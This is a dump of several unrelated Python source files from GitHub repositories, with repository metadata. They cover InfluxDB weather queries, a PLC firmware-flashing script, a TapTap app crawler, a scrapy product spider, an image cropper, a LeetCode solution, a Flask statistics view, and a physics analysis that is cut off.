DataFrameClient(host = 'localhost', port = 8086)):\n \"\"\" (object, object) -> void\n Constructor of Database. Sets the database client.\n \"\"\"\n self.client = client\n\n\n def query(self, query_string):\n \"\"\" (object, string) -> object\n This function queries the given query string.\n It also creates (if not exist) and switches to the database meteorology.\n It returns the result as a dataframe.\n \"\"\"\n self.client.create_database('meteorology')\n self.client.switch_database('meteorology')\n try:\n # execute query\n return self.client.query(query_string)\n except Exception as err:\n print (err)\n # return data frame result\n return pd.DataFrame()\n\n def query_all(self, query_string):\n \"\"\" (object, string) -> object\n This function queries the given query string through the query function.\n It combines the results into one single dataframe.\n The return value is the combined dataframe.\n \"\"\"\n result = self.query(query_string)\n all_data = None\n\n # combine all stations into single dataframe\n for measurement in result:\n data = result[measurement]\n data['station'] = measurement\n data.index = data.index.tz_convert('Europe/Berlin')\n data.index = data.index.tz_localize(None)\n if all_data is None:\n all_data = data\n else:\n all_data = all_data.append(data, sort=False)\n\n # return combined dataframe\n return all_data\n\n def query_combine(self, query_string):\n \"\"\" (object, string) -> object\n This function queries the given query string through the query function.\n It combines the results into one single dataframe.\n The return value is the combined dataframe.\n \"\"\"\n # query all stations\n result = self.query_all(query_string)\n if result is None:\n return pd.DataFrame()\n\n # only get latest (filter out stations without new data)\n latest = result[result.index == result.index.max()]\n\n if 'wind_direction' in latest:\n wind_direction = latest['wind_direction']\n\n # calculate mean wind direction based on formula from: https://en.wikipedia.org/wiki/Mean_of_circular_quantities#Mean_of_angles\n mean_wind = np.round(np.arctan2(sum(np.sin(wind_direction)), sum(np.cos(wind_direction))) * 180 / np.pi) % 360\n\n # convert direction to string\n if 292.5 < mean_wind <= 337.5:\n mean_wind = 'NW'\n elif 247.5 < mean_wind <= 292.5:\n mean_wind = 'W'\n elif 202.5 < mean_wind <= 247.5:\n mean_wind = 'SW'\n elif 157.5 < mean_wind <= 202.5:\n mean_wind = 'S'\n elif 112.5 < mean_wind <= 157.5:\n mean_wind = 'SE'\n elif 67.5 < mean_wind <= 112.5:\n mean_wind = 'E'\n elif 22.5 < mean_wind <= 67.5:\n mean_wind = 'NE'\n else:\n mean_wind = 'N'\n\n # get mean of all values\n latest = latest.mean(skipna=True).round(1)\n\n if 'wind_direction' in latest:\n latest['wind_direction'] = mean_wind\n\n return latest\n\n def get_last_data(self):\n \"\"\" (object) -> object\n This function returns the latest available observation.\n \"\"\"\n return self.query_combine('''\n SELECT\n air_temperature,\n water_temperature,\n wind_speed_avg_10min,\n wind_force_avg_10min,\n wind_direction\n FROM /^(tiefenbrunnen|mythenquai)/\n ORDER BY DESC LIMIT 1\n ''')\n\n def get_data_specific_date(self, date):\n \"\"\" (object, object) -> object\n This function returns a dataframe containing the closest 30 obervations after 'date'.\n \"\"\"\n # convert date to string in the specified date format\n date_string = date.strftime('%Y-%m-%d %H:%M:%S')\n\n # run query\n result = self.query_all(f'''\n SELECT\n air_temperature\n FROM /^(tiefenbrunnen|mythenquai)/\n WHERE time > '{date_string}'\n ORDER BY ASC LIMIT 30\n ''')\n return result\n\n # gets data from exactly one year ago\n def get_data_year_ago(self):\n \"\"\" (object) -> object\n This function returns a dataframe containing the closest 20 obervations one year ago.\n \"\"\"\n # get date now in utc\n date_year_ago = datetime.utcnow()\n\n # get date now - 1 year in utc\n date_year_ago = date_year_ago.replace(year=date_year_ago.year - 1)\n\n # convert date to string in the specified date format\n date_year_ago_string = date_year_ago.strftime('%Y-%m-%d %H:%M:%S')\n\n # run query\n result = self.query_all(f'''\n SELECT\n air_temperature,\n water_temperature,\n wind_speed_avg_10min,\n wind_force_avg_10min,\n wind_direction\n FROM /^(tiefenbrunnen|mythenquai)/\n WHERE time > '{date_year_ago_string}'\n ORDER BY ASC LIMIT 20\n ''')\n return result\n\n def get_last_five_hours(self):\n \"\"\" (object) -> object\n This function returns all data between now and now - 5 hours.\n \"\"\"\n # get date now\n date_now = datetime.utcnow()\n\n # get date now - 5 hours\n start_date = date_now - timedelta(hours=5)\n\n # convert dates to string in the specified date format\n start_date_string = start_date.strftime('%Y-%m-%d %H:%M:%S')\n end_date_string = date_now.strftime('%Y-%m-%d %H:%M:%S')\n\n # run query\n result = self.query_all(f'''\n SELECT\n air_temperature,\n barometric_pressure_qfe\n FROM /^(tiefenbrunnen|mythenquai)/\n WHERE time > '{start_date_string}' AND time < '{end_date_string}'\n ORDER BY ASC\n ''')\n return result\n\n def get_data_comparison(self):\n \"\"\" (object) -> object\n This function returns all observations around +/- 7 days from every year except the current year.\n \"\"\"\n # get date now\n date_now = datetime.utcnow()\n result = None\n\n # iterate through all years\n for x in range(1, date_now.year - 2006):\n date_x_years_ago = date_now.replace(year=date_now.year-x)\n\n # get dates +/- 7 days\n start_date = date_x_years_ago - timedelta(days=7)\n end_date = date_x_years_ago + timedelta(days=7)\n\n # convert dates to string of given format\n start_date_string = start_date.strftime('%Y-%m-%d %H:%M:%S')\n end_date_string = end_date.strftime('%Y-%m-%d %H:%M:%S')\n\n # run query\n data = self.query_all(f'''\n SELECT\n air_temperature\n FROM /^(tiefenbrunnen|mythenquai)/\n WHERE time > '{start_date_string}' AND time < '{end_date_string}'\n ORDER BY ASC\n ''')\n\n if result is None:\n result = data\n else:\n result = result.append(data, sort=False)\n\n if not result is None:\n result.sort_index(inplace=True)\n\n return result\n\n\n def get_time_rounded(self, time):\n \"\"\" (object, object) -> object\n This function returns the date and time when the last 10 minute mark passed.\n \"\"\"\n rounded_time = time - timedelta(minutes=time.minute % 10, seconds=time.second, microseconds=time.microsecond)\n return rounded_time","repo_name":"phyti1/ds_cde1_wettermonitor","sub_path":"lib/Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":8613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72242175442","text":"import os\nimport time\nimport glob\nimport json\nimport logging\nimport subprocess\nimport sys\nfrom robot.api import logger\nfrom robot.utils.asserts import assert_equal, assert_true, assert_none, fail\n\nDELAY_1s = 1\nDELAY_3s = 3\nTIMEOUT = 35\n\nlogging.basicConfig(level=logging.DEBUG)\n\nBOOT_LOADER = \"HCF-220_02_137_RA.elf\"\nTEST_FIRMWARE = \"HCF-220_02_202.hex\"\n\nclass bcolors:\n HEADER = '\\033[95m'\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n YELLOW = '\\033[93m'\n RED = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\ndef flash_bootloader_and_test_application():\n\tlogger.info('Flash PLC with: {} - {}'.format(BOOT_LOADER, TEST_FIRMWARE))\n\n\tos.system('openocd -f openocd.cfg -c init -c \"epv bin/{} bin/{}; exit\"'.format(BOOT_LOADER, TEST_FIRMWARE))\n\ttime.sleep(DELAY_1s)\n\treturn 1\n\ndef reset_and_start_application():\n\tlogger.info('Reset and Start PLC')\n\n\tos.system('openocd -f openocd.cfg -c init -c \"boot_reset; exit\"')\n\ttime.sleep(DELAY_1s)\n\treturn 1\n\n# The sheer fact that this function is here is just an anomaly :-)\n# If you have a better idea where to put it then - \n# Speak out now or forever hold their peace.\ndef read_identification_file():\n\twith open('id_file.txt') as json_file:\n\t\tjson_data = json.load(json_file)\n\n\tlogger.info(json_data)\n\n\tif json_data[\"Project Number\"] != \"500:01 177\":\n\t\tlogger.warn('Incorrect Project number: {}'.format(json_data[\"Project Number\"]))\n\t\treturn 0\n\n\tif json_data[\"Unicorn Board number\"] != \"210:01 154 RB\":\n\t\tlogger.warn('Incorrect Board number: {}'.format(json_data[\"Unicorn Board number\"]))\n\t\treturn 0\n\n\tif json_data[\"Adapter Board number\"] != \"210:01 155 RA\":\n\t\tlogger.warn('Incorrect Board number: {}'.format(json_data[\"Adapter Board number\"]))\n\t\treturn 0\n\n\treturn 1\n\n\ndef headline():\n\tprint(\"1 = Flash bootloader and Test application\")\n\tprint(\"2 = Reset and start Test application\")\n\tprint(\"q = Quit script\")\n\ndef send_command(cmd):\n\tos.system(cmd)\n\n\ndef main():\n\n\t# Addr 0, Port A5-0 output\n\tport_write_cmd = 'i2cset -y 1 0x20 0x00 0xc0'\n\tsend_command(port_write_cmd)\n\n\theadline()\n\tkey = input(\"Select operation - \")\n\n\tif key != 'q':\n\n\t\t# Turn on 5Ve and 24V (R4, R5)\n\t\tport_write_cmd = 'i2cset -y 1 0x20 0x12 0x18'\n\t\tsend_command(port_write_cmd)\n\t\ttime.sleep(DELAY_3s)\n\n\t\twhile key != 'q':\n\n\t\t\tif (key == '1'):\n\t\t\t\tprint(bcolors.GREEN+20*'-'+'*** Flash Bootloader/Test application ***'+20*'-'+bcolors.ENDC)\n\t\t\t\tflash_bootloader_and_test_application()\n\n\t\t\tif (key == '2'):\n\t\t\t\tprint(bcolors.GREEN+20*'-'+'*** Start Test application ***'+20*'-'+bcolors.ENDC)\n\t\t\t\treset_and_start_application()\n\n\t\t\theadline()\n\t\t\tkey = input(\"Select operation - \")\n\n\tprint(bcolors.GREEN+20*'-'+'*** Quit firmware_flash script ***'+20*'-'+bcolors.ENDC)\n\tport_write_cmd = 'i2cset -y 1 0x20 0x12 0x00'\n\tos.system(port_write_cmd)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"hzcodec/tester1","sub_path":"firmware_flash_plc.py","file_name":"firmware_flash_plc.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13766285557","text":"import time\nimport redis\nimport threading\nfrom uiautomator import Device\n\n\nclass PhoneThread(threading.Thread):\n def __init__(self, serial):\n threading.Thread.__init__(self)\n self.serial = serial\n self.device = Device(serial)\n self.client = redis.StrictRedis()\n\n def run(self):\n while self.client.llen('game_name') != 0:\n game_name = self.client.lpop('game_name')\n if game_name:\n game_name = game_name.decode()\n self.crawl(game_name)\n\n def crawl(self, game_name):\n input_box = self.device(resourceId='com.taptap:id/input_box')\n input_box.clear_text()\n input_box.set_text(game_name)\n self.device(resourceId=\"com.taptap:id/search_btn\").click()\n search_result = self.device(textContains=game_name, resourceId=\"com.taptap:id/app_title\")\n if search_result.wait.exists(timeout=3000):\n search_result.click()\n else:\n self.crawl(game_name)\n return\n download_count = self.device(resourceId=\"com.taptap:id/download_count\")\n if download_count.wait.exists(timeout=3000):\n print(game_name, download_count.text)\n self.device.press.back()\n\n\nclient = redis.StrictRedis()\nwith open('target', encoding='utf-8') as f:\n game_list = [x.strip() for x in f.readlines()]\nwith open('phone_list', encoding='utf-8') as f:\n serial_list = [x.strip() for x in f.readlines()]\n\nfor game in game_list:\n client.lpush('game_name', game)\n\nphone_list = []\nfor serial in serial_list:\n phone_thread = PhoneThread(serial)\n phone_thread.start()\n phone_list.append(phone_thread)\n\nwhile phone_list:\n phone_list = [x for x in phone_list if x.is_alive()]\n time.sleep(5)\n\n","repo_name":"kingname/SourceCodeOfBook","sub_path":"第10章/program/example_taptap.py","file_name":"example_taptap.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"3"} +{"seq_id":"22433355097","text":"from scrapy import Spider\nfrom scrapy.http import Request\nfrom scrapy.loader import ItemLoader\nfrom cutotulWebsite.items import CutotulwebsiteItem \nfrom scrapy.crawler import CrawlerProcess\nimport re\nimport csv\nimport glob\nfrom openpyxl import Workbook\nimport os\n\nclass CutotulSpider(Spider):\n name = 'cutotul'\n allowed_domains = ['cutotul.ro']\n start_urls = ['https://cutotul.ro/3-karcher-aspiratoare-home-garden'] \n \n def parse(self, response):\n #process product urls\n products_urls = response.xpath('//*[@itemprop=\"name\"]/a/@href').extract()\n for url in products_urls:\n yield Request(url, callback=self.parse_product)\n \n #process next page\n next_page_url = response.xpath('//*[@class=\"pagination_next\"]/a/@href').extract_first()\n absolute_next_page_url = response.urljoin(next_page_url)\n yield Request(absolute_next_page_url) \n \n def parse_product(self, response):\n #download informations\n l = ItemLoader(item=CutotulwebsiteItem(), selector=response, response=response)\n l.add_xpath('TITLE', '//h1/text()')\n l.add_xpath('MODEL', '//*[@itemprop=\"sku\"]/text()')\n l.add_xpath('CONDITION', '//*[@id=\"product_condition\"]/span/text()')\n l.add_xpath('DESCRIPTION', '//div[@id=\"short_description_content\"]//p//text() | //div[@id=\"short_description_content\"]/div/text()') \n l.add_xpath('PRICE', '//*[@itemprop=\"price\"]/text()')\n l.add_xpath('STATUS', '//*[@class=\"available-now\"]/text()[2] | //*[@id=\"availability_statut\"]/span/text() ')\n \n #process availability_status\n product_availability_status = response.xpath('//*[@class=\"available-now\"]/text()[2]')\n # cleaned_status_list = [x.get().replace('\\n', '').replace('\\t', '').strip() for x in product_availability_status if x.get().strip()]\n availability_status = ''.join(str(status) for status in product_availability_status)\n l.add_xpath('AVAILABILITY_STATUS', availability_status)\n \n #process price_list\n product_list_price_xpath = response.xpath(\"/html/body/script/text()\").re(r'getKarcherPriceNou.*;')\n price_list_extracted = [] \n for string in product_list_price_xpath:\n search_string = string\n regex = \"\\\\d{1,}\"\n result_search = re.findall(regex, search_string)\n price_list_extracted.append(result_search[0])\n \n price_list = ''.join(str(price) for price in price_list_extracted)\n l.add_xpath('PRICE_LIST', price_list)\n \n yield l.load_item() \n \n def close(self, reason):\n csv_files = list(glob.iglob('*.csv'))\n print(csv_files)\n if not csv_files:\n print(\"No CSV files found\")\n else:\n csv_file = max(csv_files, key=os.path.getctime)\n wb = Workbook()\n ws = wb.active\n \n with open(csv_file, 'r', encoding='utf-8-sig') as f:\n for row in csv.reader(f):\n ws.append(row)\n \n xlsx_file = csv_file.replace('.csv', '') + '.xlsx'\n wb.save(xlsx_file)\n wb.close()\n\n\n # main driver\nif __name__ == \"__main__\":\n # run scraper\n process = CrawlerProcess()\n process.crawl(CutotulSpider)\n process.start()","repo_name":"razvanchirilov/webscraper__cutotulWebsiteProject","sub_path":"cutotulWebsite/spiders/cutotul.py","file_name":"cutotul.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18279734171","text":"import argparse\nfrom PIL import Image\nfrom pathlib import Path\nfrom tqdm import tqdm\n\n\nclass ImageProcess:\n\n @staticmethod\n def cut_middle(image_path, middle_px):\n im = Image.open(image_path)\n w, h = im.size\n return im.crop((0, 0, middle_px, h)), im.crop((middle_px, 0, w, h))\n\n @staticmethod\n def cut_around(im: Image, margin):\n w, h = im.size\n box = margin[0], margin[1], w - margin[2], h - margin[3]\n return im.crop(box)\n\n\ndef parse_opt(known=False):\n parser = argparse.ArgumentParser()\n parser.add_argument('--machine-no', type=str, required=True, help='机台号')\n parser.add_argument('--source', type=str, default='./source', help='存放需要裁剪图片的文件夹路径')\n parser.add_argument('--target', default='./target', help='save results to project/name')\n parser.add_argument('--disable-resize', action='store_true', default=False, help='禁用resize')\n parser.add_argument('--resize', nargs='+', type=int, default=[1728, 608], help='cut size w,h')\n return parser.parse_known_args()[0] if known else parser.parse_args()\n\n\nconfig_map = {\n '08-A': {'middle_px': 1788, 'left_box': (48, 14, 0, 30), 'right_box': (0, 14, 30, 25)},\n '08-B': {'middle_px': 1788, 'left_box': (48, 25, 0, 30), 'right_box': (0, 25, 30, 25)},\n '09-A': {'middle_px': 1760, 'left_box': (55, 25, 0, 25), 'right_box': (0, 25, 35, 12)},\n '10-A': {'middle_px': 1864, 'left_box': (10, 25, 12, 30), 'right_box': (0, 34, 75, 40)},\n '10-B': {'middle_px': 1864, 'left_box': (80, 40, 0, 5), 'right_box': (0, 34, 28, 5)},\n '11-A': {'middle_px': 1835, 'left_box': (60, 30, 0, 30), 'right_box': (0, 25, 15, 25)},\n '12-3668': {'middle_px': 1878, 'left_box': (90, 20, 5, 20), 'right_box': (0, 10, 12, 25)},\n '12-3728': {'middle_px': 1885, 'left_box': (110, 0, 0, 40), 'right_box': (0, 0, 70, 40)},\n '13-A': {'middle_px': 1850, 'left_box': (80, 5, 0, 0), 'right_box': (0, 0, 40, 0)},\n '14-A': {'middle_px': 1740, 'left_box': (10, 10, 0, 35), 'right_box': (0, 10, 0, 40)},\n '14-B': {'middle_px': 1740, 'left_box': (10, 25, 0, 0), 'right_box': (0, 30, 0, 5)},\n '14-one': {'middle_px': 1690, 'left_box': (0, 0, 0, 85), 'right_box': (0, 0, 50, 100)},\n 'cut-08': {'middle_px': 1655, 'left_box': (0, 0, 0, 0), 'right_box': (0, 0, 0, 0)},\n 'cut-09': {'middle_px': 1740, 'left_box': (20, 0, 0, 0), 'right_box': (0, 0, 35, 0)},\n 'cut-10': {'middle_px': 1895, 'left_box': (30, 0, 0, 0), 'right_box': (0, 0, 0, 0)},\n 'cut-11': {'middle_px': 1722, 'left_box': (15, 0, 0, 0), 'right_box': (0, 0, 15, 0)},\n 'cut-12': {'middle_px': 1785, 'left_box': (0, 0, 0, 0), 'right_box': (0, 0, 0, 0)},\n 'cut-13': {'middle_px': 1790, 'left_box': (20, 0, 0, 0), 'right_box': (0, 0, 20, 0)},\n 'cut-14': {'middle_px': 1740, 'left_box': (40, 25, 0, 30), 'right_box': (0, 30, 0, 45)},\n 'other-3180-610': {'middle_px': 1590, 'left_box': (0, 10, 0, 85), 'right_box': (0, 10, 0, 85)},\n 'other-3180-620': {'middle_px': 1590, 'left_box': (0, 0, 0, 110), 'right_box': (0, 0, 0, 110)},\n 'other-3180-670': {'middle_px': 1590, 'left_box': (0, 0, 0, 70), 'right_box': (0, 0, 0, 70)},\n 'wg7242': {'middle_px': 4425, 'left_box': (50, 120, 0, 45), 'right_box': (0, 85, 75, 45)},\n 'wg7415': {'middle_px': 4475, 'left_box': (40, 10, 0, 40), 'right_box': (0, 20, 70, 45)},\n 'wg7424': {'middle_px': 4485, 'left_box': (65, 75, 0, 70), 'right_box': (0, 65, 95, 60)},\n 'test': {'middle_px': 4132, 'left_box': (70, 75, 0, 70), 'right_box': (0, 65, 95, 60)},\n}\n\nif __name__ == \"__main__\":\n opt = parse_opt(True)\n config = config_map.get(opt.machine_no)\n middle = config['middle_px']\n left_box = config['left_box']\n right_box = config['right_box']\n resize = opt.resize\n Path(opt.target).mkdir(parents=True, exist_ok=True)\n\n im_paths = list(Path(opt.source).glob('**/*.jpg'))\n for im_path in tqdm(im_paths):\n im_list = zip(ImageProcess.cut_middle(im_path, middle), (left_box, right_box))\n # 原图一张裁剪为二张，针对每张图进行边缘剪裁，最终转换为GRB三通道图并重命名\n for index, item in enumerate(im_list):\n item_im, item_box = item\n cut_im = ImageProcess.cut_around(item_im, item_box)\n # 是否禁用resize\n if opt.disable_resize:\n resize_im = cut_im\n else:\n resize_im = cut_im.resize(resize, Image.Resampling.LANCZOS)\n save_path = Path(opt.target).joinpath('{}_{}.jpg'.format(index, im_path.stem))\n resize_im.convert('RGB').save(save_path)\n","repo_name":"pepsiyoung/python-tools","sub_path":"src/file/file_process.py","file_name":"file_process.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35885219268","text":"'''\nhttps://leetcode.com/problems/car-fleet/\nInput: target = 12, position = [10,8,0,5,3], speed = [2,4,1,1,3]\nOutput: 3\nExplanation:\nThe cars starting at 10 and 8 become a fleet, meeting each other at 12.\nThe car starting at 0 doesn't catch up to any other car, so it is a fleet by itself.\nThe cars starting at 5 and 3 become a fleet, meeting each other at 6.\nNote that no other cars meet these fleets before the destination, so the answer is 3.\n'''\n\n\nclass Solution:\n def carFleet(self, target: int, position, speed):\n sorted_car_pos = sorted(zip(position, speed), reverse=True)\n time_needed_to_reach_target = [(target - x) / y for x, y in sorted_car_pos]\n fleet_count = 0\n while len(time_needed_to_reach_target) > 1:\n t = time_needed_to_reach_target.pop()\n if t > time_needed_to_reach_target[-1]:\n fleet_count += 1\n else:\n time_needed_to_reach_target[-1] = t\n return fleet_count + bool(time_needed_to_reach_target)\n\n\ns = Solution()\nprint(s.carFleet(12, [10, 8, 0, 5, 3], [2, 4, 1, 1, 3]))\n","repo_name":"mathewsjose90/Python-Learnings","sub_path":"Examples/Leetcode/car-fleet-stack_solution.py","file_name":"car-fleet-stack_solution.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6319830080","text":"from flask import Blueprint, render_template, json, flash, make_response\nfrom flask_login import login_required\n\nfrom flaskapp.database import db\nfrom flaskapp.auth import current_user\n\nimport requests\nimport os\n\n\nstatistics = Blueprint('statistics', __name__)\n\nDATASERVICE = os.environ['DATA_SERVICE']\n\n@statistics.route('/statistics', methods=['GET'])\n@login_required\ndef get_statistics():\n \"\"\"Inside the template we retrieve data from run/statistics\n using javascript\"\"\"\n status_code = 200\n runs = []\n stats = dict()\n try:\n reply = requests.get(DATASERVICE + \"/runs\", params={'user_id': current_user.dataservice_user_id})\n\n if reply.status_code is not 200:\n raise \"error\"\n\n runs = reply.json()\n\n for run in runs:\n stats[run['id']] = [run['average_speed'], run['distance'], run['elapsed_time']]\n\n except Exception:\n flash('Cannot get runs data', category='error')\n status_code = 500\n\n return make_response(render_template(\"statistics.html\", runs=runs, stats=json.dumps(stats)), status_code)\n\n","repo_name":"ytbeepbeep/flask-app","sub_path":"flaskapp/views/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5024732431","text":"#!/usr/bin/env python\n\"\"\"\nleptonjet leading/subleading pT\n\"\"\"\nimport argparse\n\nimport awkward\nimport coffea.processor as processor\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom coffea import hist\nfrom coffea.analysis_objects import JaggedCandidateArray\nfrom FireHydrant.Analysis.DatasetMapLoader import (DatasetMapLoader,\n SigDatasetMapLoader)\nfrom FireHydrant.Tools.correction import (get_nlo_weight_function,\n get_pu_weights_function,\n get_ttbar_weight)\nfrom FireHydrant.Tools.metfilter import MetFilters\nfrom FireHydrant.Tools.trigger import Triggers\n\nnp.seterr(divide='ignore', invalid='ignore', over='ignore')\nplt.rcParams[\"savefig.dpi\"] = 120\nplt.rcParams[\"savefig.bbox\"] = \"tight\"\n\n\nparser = argparse.ArgumentParser(description=\"leptonjet leading/subleading pt\")\nparser.add_argument(\"--sync\", action='store_true', help=\"issue rsync command to sync plots folder to lxplus web server\")\nargs = parser.parse_args()\n\ndml = DatasetMapLoader()\nbkgDS, bkgMAP, bkgSCALE = dml.fetch('bkg')\ndataDS, dataMAP = dml.fetch('data')\n\nsdml = SigDatasetMapLoader()\nsigDS_2mu2e, sigSCALE_2mu2e = sdml.fetch('2mu2e')\nsigDS_4mu, sigSCALE_4mu = sdml.fetch('4mu')\n\n\n\"\"\"Leptonjet leading/subleading pT, eta\"\"\"\nclass LeptonjetLeadSubleadProcessor(processor.ProcessorABC):\n def __init__(self, region='SR', data_type='bkg'):\n self.region = region\n self.data_type = data_type\n\n dataset_axis = hist.Cat('dataset', 'dataset')\n pt_axis = hist.Bin('pt', '$p_T$ [GeV]', 100, 0, 200)\n invm_axis = hist.Bin('invm', 'mass [GeV]', 100, 0, 200)\n mass_axis = hist.Bin('mass', 'mass [GeV]', 100, 0, 200)\n channel_axis = hist.Bin('channel', 'channel', 3, 0, 3)\n\n self._accumulator = processor.dict_accumulator({\n 'pt0': hist.Hist('Counts', dataset_axis, pt_axis, channel_axis),\n 'pt1': hist.Hist('Counts', dataset_axis, pt_axis, channel_axis),\n 'ptegm': hist.Hist('Counts', dataset_axis, pt_axis, channel_axis), # leading EGM-type for 2mu2e channel\n 'ptmu': hist.Hist('Counts', dataset_axis, pt_axis, channel_axis), # leading mu-type for 2mu2e channel\n 'invm': hist.Hist('Counts', dataset_axis, invm_axis, channel_axis),\n 'massmu': hist.Hist('Counts', dataset_axis, mass_axis, channel_axis), # mass of mu-type leptonjet\n })\n\n self.pucorrs = get_pu_weights_function()\n ## NOT applied for now\n self.nlo_w = get_nlo_weight_function('w')\n self.nlo_z = get_nlo_weight_function('z')\n\n @property\n def accumulator(self):\n return self._accumulator\n\n def process(self, df):\n output = self.accumulator.identity()\n if df.size==0: return output\n\n dataset = df['dataset']\n ## construct weights ##\n wgts = processor.Weights(df.size)\n if self.data_type!='data':\n wgts.add('genw', df['weight'])\n npv = df['trueInteractionNum']\n wgts.add('pileup', *(f(npv) for f in self.pucorrs))\n\n triggermask = np.logical_or.reduce([df[t] for t in Triggers])\n wgts.add('trigger', triggermask)\n cosmicpairmask = df['cosmicveto_result']\n wgts.add('cosmicveto', cosmicpairmask)\n pvmask = df['metfilters_PrimaryVertexFilter']\n wgts.add('primaryvtx', pvmask)\n # ...bla bla, other weights goes here\n\n weight = wgts.weight()\n ########################\n\n\n leptonjets = JaggedCandidateArray.candidatesfromcounts(\n df['pfjet_p4'],\n px=df['pfjet_p4.fCoordinates.fX'],\n py=df['pfjet_p4.fCoordinates.fY'],\n pz=df['pfjet_p4.fCoordinates.fZ'],\n energy=df['pfjet_p4.fCoordinates.fT'],\n pfisoAll05=df['pfjet_pfIsolation05'],\n pfisoNopu05=df['pfjet_pfIsolationNoPU05'],\n pfisoDbeta=df['pfjet_pfiso'],\n ncands=df['pfjet_pfcands_n'],\n )\n ljdautype = awkward.fromiter(df['pfjet_pfcand_type'])\n npfmu = (ljdautype==3).sum()\n ndsa = (ljdautype==8).sum()\n isegammajet = (npfmu==0)&(ndsa==0)\n ispfmujet = (npfmu>=2)&(ndsa==0)\n isdsajet = ndsa>0\n label = isegammajet.astype(int)*1+ispfmujet.astype(int)*2+isdsajet.astype(int)*3\n leptonjets.add_attributes(label=label)\n nmu = ((ljdautype==3)|(ljdautype==8)).sum()\n leptonjets.add_attributes(ismutype=(nmu>=2), iseltype=(nmu==0))\n ljdaucharge = awkward.fromiter(df['pfjet_pfcand_charge']).sum()\n leptonjets.add_attributes(qsum=ljdaucharge)\n leptonjets.add_attributes(isneutral=(leptonjets.iseltype | (leptonjets.ismutype&(leptonjets.qsum==0))))\n leptonjets = leptonjets[leptonjets.isneutral]\n\n # leptonjets = leptonjets[((~leptonjets.iseltype)|(leptonjets.iseltype&(leptonjets.pt>40)))] # EGM-type lj pt > 40\n # leptonjets = leptonjets[((~leptonjets.ismutype)|(leptonjets.ismutype&(leptonjets.pt>30)))] # Mu-type lj pt > 30\n\n ## __ twoleptonjets__\n twoleptonjets = (leptonjets.counts>=2)&(leptonjets.ismutype.sum()>=1)\n dileptonjets = leptonjets[twoleptonjets]\n wgt = weight[twoleptonjets]\n\n ## __Mu-type pt0>40__\n # mask_ = dileptonjets[dileptonjets.ismutype].pt.max()>40\n # dileptonjets = dileptonjets[mask_]\n # wgt = wgt[mask_]\n\n if dileptonjets.size==0: return output\n lj0 = dileptonjets[dileptonjets.pt.argmax()]\n lj1 = dileptonjets[dileptonjets.pt.argsort()[:, 1:2]]\n\n ## channel def ##\n singleMuljEvents = dileptonjets.ismutype.sum()==1\n muljInLeading2Events = (lj0.ismutype | lj1.ismutype).flatten()\n channel_2mu2e = (singleMuljEvents&muljInLeading2Events).astype(int)*1\n\n doubleMuljEvents = dileptonjets.ismutype.sum()==2\n muljIsLeading2Events = (lj0.ismutype & lj1.ismutype).flatten()\n channel_4mu = (doubleMuljEvents&muljIsLeading2Events).astype(int)*2\n\n channel_ = channel_2mu2e + channel_4mu\n ###########\n\n isControl = (np.abs(lj0.p4.delta_phi(lj1.p4)) 300: continue\n res[k] = origds[k]\n return res\n\n\n\nif __name__ == \"__main__\":\n import os\n from os.path import join, isdir\n from FireHydrant.Analysis.PlottingOptions import *\n\n outdir = join(os.getenv('FH_BASE'), \"Imgs\", __file__.split('.')[0])\n if not isdir(outdir): os.makedirs(outdir)\n\n outputs = {}\n outputs['bkg'] = processor.run_uproot_job(bkgDS,\n treename='ffNtuplizer/ffNtuple',\n processor_instance=LeptonjetLeadSubleadProcessor(region='SR', data_type='bkg'),\n executor=processor.futures_executor,\n executor_args=dict(workers=12, flatten=True),\n chunksize=500000,\n )\n\n outputs['sig-2mu2e'] = processor.run_uproot_job(filterSigDS(sigDS_2mu2e),\n treename='ffNtuplizer/ffNtuple',\n processor_instance=LeptonjetLeadSubleadProcessor(region='SR', data_type='sig-2mu2e'),\n executor=processor.futures_executor,\n executor_args=dict(workers=12, flatten=True),\n chunksize=500000,\n )\n\n outputs['sig-4mu'] = processor.run_uproot_job(filterSigDS(sigDS_4mu),\n treename='ffNtuplizer/ffNtuple',\n processor_instance=LeptonjetLeadSubleadProcessor(region='SR', data_type='sig-4mu'),\n executor=processor.futures_executor,\n executor_args=dict(workers=12, flatten=True),\n chunksize=500000,\n )\n\n outputs['data'] = processor.run_uproot_job(dataDS,\n treename='ffNtuplizer/ffNtuple',\n processor_instance=LeptonjetLeadSubleadProcessor(region='CR', data_type='data'),\n executor=processor.futures_executor,\n executor_args=dict(workers=12, flatten=True),\n chunksize=500000,\n )\n\n ## CHANNEL - 2mu2e\n #### leading\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgpt0 = outputs['bkg']['pt0'].integrate('channel', slice(1,2))\n hist.plot1d(bkgpt0, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigpt0 = outputs['sig-2mu2e']['pt0'].integrate('channel', slice(1,2))\n hist.plot1d(sigpt0, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datapt0 = outputs['data']['pt0'].integrate('channel', slice(1,2))\n hist.plot1d(datapt0, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] 